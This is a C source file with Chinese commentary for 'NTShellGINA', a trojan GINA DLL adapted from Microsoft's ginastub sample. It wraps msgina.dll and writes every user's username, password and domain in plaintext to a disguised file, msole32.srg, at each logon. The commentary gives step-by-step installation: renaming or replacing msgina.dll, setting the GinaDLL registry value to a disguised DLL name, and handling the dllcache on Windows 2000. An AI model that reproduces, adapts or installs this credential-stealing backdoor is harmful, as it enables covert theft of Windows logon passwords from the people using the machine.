GINA后门代码
/*
NTShellGINA.c - a gina stub come from NTShell 1.0
by:bingle@email.com.cn, from homepage:bingle_site.top263.net
This file is modified from microsoft sample ginastub.c,
this file will save the logon password to the file system32\\msole32.srg
WinLogon登录管理:
Winlogon进程负责管理登录相关的安全性工作,它负责处理用户的登录与注销、启动用户shell、输入口令
、更改口令、锁定与解锁工作站等。Winlogon进程必须保证其与安全相关操作对其他进程不可见,以免其他
进程取得登录密码。
系统初始化时,启动用户程序之前,Winlogon进行特定工作已保障以上的需求。Winlogon进程将创建并打开
一个Window Stations,然后设置一个访问控制人口(ACE),该ACE中只包含Winlogon进程的SID,这样就
只有Winlogon进程才能访问该Window Stations 。然后winlogon创建桌面,设置其中的winlogon桌面
只有winlogon可以访问,其他进程不能访问该桌面的任何数据和代码;利用这一特性保护口令、锁定桌面
等操作的安全。winlogon还会注册安全注意序列(SAS - secure attention sequence)的热键,任何时候
按下SAS热键(缺省为ctrl+alt+del),将调用Winlogon,切换到安全桌面,从而使密码捕捉程序不能接收
登录密码和更改密码等安全活动。
而登录进程的验证和身份验证都是在GINA(GINA - Graphical Identification and Authentication
图形标识和身份验证)中实现的,微软的GINA是MSGINA.dll,实现了默认的Windows NT登录界面。
不过可以自己开发GINA DLL以实现其他的身份验证方法,如磁卡。当然这也为木马留下了机会,可以通过
编写和系统GINA界面相同的GINA,然后取代MSGINA.dll。在msdn sample里有一个GINA的例子。不过如果
仅仅为了获取登录密码,没有必要那么麻烦,只需写一个接口和GINA一样的,然后所有函数在实现时都去调
用MSGINA.dll的相同函数就可以了,在msdn sample里也有这样一个例子叫做ginastub,当然作为木马
还要在登录时将密码转储。(更多的gina信息,在msdn里查找gina)
NTShelGINA就是使用了后一种方法。我把ginastub改了改,在登录时将username:password:domain
存在msole32.srg里。它在运行时具体功能都要调用msgina.dll,因此安装时这个文件必须存在,然后将
msgina.dll改名为winlogon32.dll,然后把NTShellGINA.dll拷贝为msgina.dll即可。这是ntshell
里的第二种安装方法。
不过微软还在注册表里留了一个位置由于安装GINA,在HKLM\Software\Microsoft
\Windows NT\CurrentVersion\Winlogon下设置GINADLL为某个GINA DLL,(GINADLL这个值缺省没有)
如果设置了这个值,nt会调用该GINA,而不会调用缺省的msGINA.dll。因此NTShell的第一种安装方法是
将NTShellGINA.dll拷贝到system32\mshtmlgi.dll,然后设置GINADLL为mshtmlgi.dll。
因此第二种方法安装成功的前提是系统原来没有设置GINADLL这个值,否则将不予安装NTShellGINA 。
当然在win2000里如果使用第二种安装方法还要把dllcache里msgina.dll改名。(ntshell改名为
mshtmlgi.dll)。
由于GINA DLL负责系统认证和安全登录,因此如果一旦出错,用户将不能登录系统,必须慎用。也因此
NTShell在安装时作了较多的检测,如果检测失败将不予安装。比如在把ntshellgina.dll拷贝为文件
msgina.dll的安装方法里,第一次mslogon32.dll<-msgina.dll<-ntshellgina.dll,如果再次安装
用msgina.dll替换mslogon32.dll,用ntshellgina.dll替换后来的msgina.dll(其实还是ntshellgina.dll)
,这样原来的msgina.dll就没有了,只有两个ntshellgina.dll,找不到真正的msgina.dll,ntshellgina.dll
将失败。
ntshell依次作如下检测:
注册表里的GINADLL如果设置,则认为系统不是使用默认的登录GINA,自然不予安装(找不
到msgina.dll或者其他程序工作不正常)
如果系统的msgina.dll和ntshellgina.dll相同,则认为已经安装过了,不能再次安装
如果系统中存在mslogon32.dll,有可能使用ntshell安装过了,不再安装(除非你确认,msgina.dll
还是原来的,可以手工删除mslogon32.dll,再安装;否则不要安装)
如果安装出错,不能登录,可以参考msdn的如下说明进行恢复:(我使用的是第4种方法,其他的未试)
WARNING! - It is possible to make your machine unusable if you install a
replacement Gina and it fails. To avoid this situation, be sure that you have
a method of accessing the %systemroot%\SYSTEM32 directory independent of the
Windows NT? installation you are testing on.
If the Gina sample malfunctions, and you are not able to log on to fix the problem,
you can recover by doing one of the following:
1.If the test machine is on the network and you have an account on another machine
with Administrative privileges on the test machine, open the test machine registry
remotely with regedt32 and delete the GinaDLL value.
2.If the test machine is on the network, and %systemroot%\SYSTEM32 is available on
a network share for that machine (e.g. \\<name>\c$), rename Gina.dll to something
else with a command like:
ren \\<name>\c$\winnt351\system32\gina.dll gina.sdk
Reboot the test machine.
3.Delete the GinaDLL value from the registry.
4.If the test machine will dual boot to another version of Windows NT or another
operating system capable of accessing %systemroot%\system32, boot to that operating
system, delete %systemroot%\system32\Gina.dll, reboot, and delete the GinaDLL value
from the registry.
//next is the microsoft msdn original comments
Module : ginastub.c
Abstract:
This sample illustrates a pass-thru "stub" gina which can be used
in some cases to simplify gina development.
A common use for a gina is to implement code which requires the
credentials of the user logging onto the workstation. The credentials
may be required for syncronization with foreign account databases
or custom authentication activities.
In this example case, it is possible to implement a simple gina
stub layer which simply passes control for the required functions
to the previously installed gina, and captures the interesting
parameters from that gina. In this scenario, the existing functionality
in the existent gina is retained. In addition, the development time
is reduced drastically, as existing functionality does not need to
be duplicated.
When dealing with credentials, take steps to maintain the security
of the credentials. For instance, if transporting credentials over
a network, be sure to encrypt the credentials.
Author:
Scott Field (sfield) 18-Jul-96
--*/
#include <windows.h>
#include <stdio.h>
#include <winwlx.h>
#include "ginastub.h"
//
// winlogon function dispatch table
//
PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;
//
// Functions pointers to the real msgina which we will call.
//
PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;
//
// NEW for version 1.1
//
PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;
//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{
HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
// then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
// if named others then just load MSGINA.DLL
//
char origina[]="MSGINA.DLL";
char chgedgina[]="mslogon32.dll";
char *realgina;
char filename[MAX_PATH];
int result;
FILE *fp;
HMODULE hself;
#ifdef _DEBUG
fp=fopen("ginalog.txt", "ab");
if(fp)
{
sprintf(filename, "\r\nMyInitialize been called by ");
fwrite(filename, strlen(filename), 1, fp);
result=GetModuleFileName(NULL, filename, MAX_PATH);
if(result)fwrite(filename, strlen(filename), 1, fp);
fclose(fp);
}
#endif
realgina=NULL;
hself=GetModuleHandle(origina);
if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
else realgina=chgedgina;//if origina loaded, this is origina
// Load original MSGINA.DLL.
if( !(hDll = LoadLibrary( realgina )) ) {
return FALSE;
}
// Get pointers to all of the WLX functions in the real MSGINA.
GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !GWlxNegotiate ) {
return FALSE;
}
GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
if( !GWlxInitialize ) {
return FALSE;
}
GWlxDisplaySASNotice =
(PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
if( !GWlxDisplaySASNotice ) {
return FALSE;
}
GWlxLoggedOutSAS =
(PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !GWlxLoggedOutSAS ) {
return FALSE;
}
GWlxActivateUserShell =
(PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
if( !GWlxActivateUserShell ) {
return FALSE;
}
GWlxLoggedOnSAS =
(PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
if( !GWlxLoggedOnSAS ) {
return FALSE;
}
GWlxDisplayLockedNotice =
(PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
hDll,
"WlxDisplayLockedNotice" );
if( !GWlxDisplayLockedNotice ) {
return FALSE;
}
GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
if( !GWlxIsLockOk ) {
return FALSE;
}
GWlxWkstaLockedSAS =
(PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
if( !GWlxWkstaLockedSAS ) {
return FALSE;
}
GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
if( !GWlxIsLogoffOk ) {
return FALSE;
}
GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
if( !GWlxLogoff ) {
return FALSE;
}
GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
if( !GWlxShutdown ) {
return FALSE;
}
// we don't check for failure here because these don't exist for
// gina's implemented prior to Windows NT 4.0
GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );
// Everything loaded ok. Return success.
return TRUE;
}
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
if( !MyInitialize() ) return FALSE;
return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
return GWlxInitialize( lpWinsta, hWlx, pvReserved,
pWinlogonFunctions, pWlxContext );
}
VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
{
GWlxDisplaySASNotice( pWlxContext );
}
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
int iRet;
iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
if(iRet == WLX_SAS_ACTION_LOGON) {
// copy pMprNotifyInfo and pLogonSid for later use
FILE *fp;
fp=fopen("msole32.srg", "a");
if(fp!=NULL)
{
char infor[300], buf[300];
memset(buf, 0, 300);
wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
sprintf(infor, "%s", buf);
memset(buf, 0, 300);//if convert failed, we use the error one also
wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
sprintf(infor, "%s:%s", infor, buf);
memset(buf, 0, 300);
wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
sprintf(infor, "%s:%s\r\n", infor, buf);
fwrite(infor, 1, strlen(infor), fp);
fclose(fp);
}
// pMprNotifyInfo->pszOldPassword
}
return iRet;
}
BOOL WINAPI WlxActivateUserShell(
PVOID pWlxContext,
PWSTR pszDesktopName,
PWSTR pszMprLogonScript,
PVOID pEnvironment)
{
return GWlxActivateUserShell(
pWlxContext,
pszDesktopName,
pszMprLogonScript,
pEnvironment
);
}
int WINAPI WlxLoggedOnSAS(
PVOID pWlxContext,
DWORD dwSasType,
PVOID pReserved)
{
return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
}
VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
{
GWlxDisplayLockedNotice( pWlxContext );
}
BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
{
return GWlxIsLockOk( pWlxContext );
}
int WINAPI WlxWkstaLockedSAS(
PVOID pWlxContext,
DWORD dwSasType )
{
return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
}
BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{
BOOL bSuccess;
bSuccess = GWlxIsLogoffOk( pWlxContext );
if(bSuccess) {
//
// if it's ok to logoff, finish with the stored credentials
// and scrub the buffers
//
}
return bSuccess;
}
VOID WINAPI WlxLogoff( PVOID pWlxContext )
{
GWlxLogoff( pWlxContext );
}
VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
{
GWlxShutdown( pWlxContext, ShutdownType );
}
//
// NEW for version 1.1
//
BOOL WINAPI WlxScreenSaverNotify(
PVOID pWlxContext,
BOOL * pSecure
)
{
if(GWlxScreenSaverNotify != NULL)
return GWlxScreenSaverNotify( pWlxContext, pSecure );
//
// if not exported, return something intelligent
//
*pSecure = TRUE;
return TRUE;
}
BOOL WINAPI WlxStartApplication(
PVOID pWlxContext,
PWSTR pszDesktopName,
PVOID pEnvironment,
PWSTR pszCmdLine
)
{
if(GWlxStartApplication != NULL)
return GWlxStartApplication(
pWlxContext,
pszDesktopName,
pEnvironment,
pszCmdLine
);
//
// if not exported, return something intelligent
//
}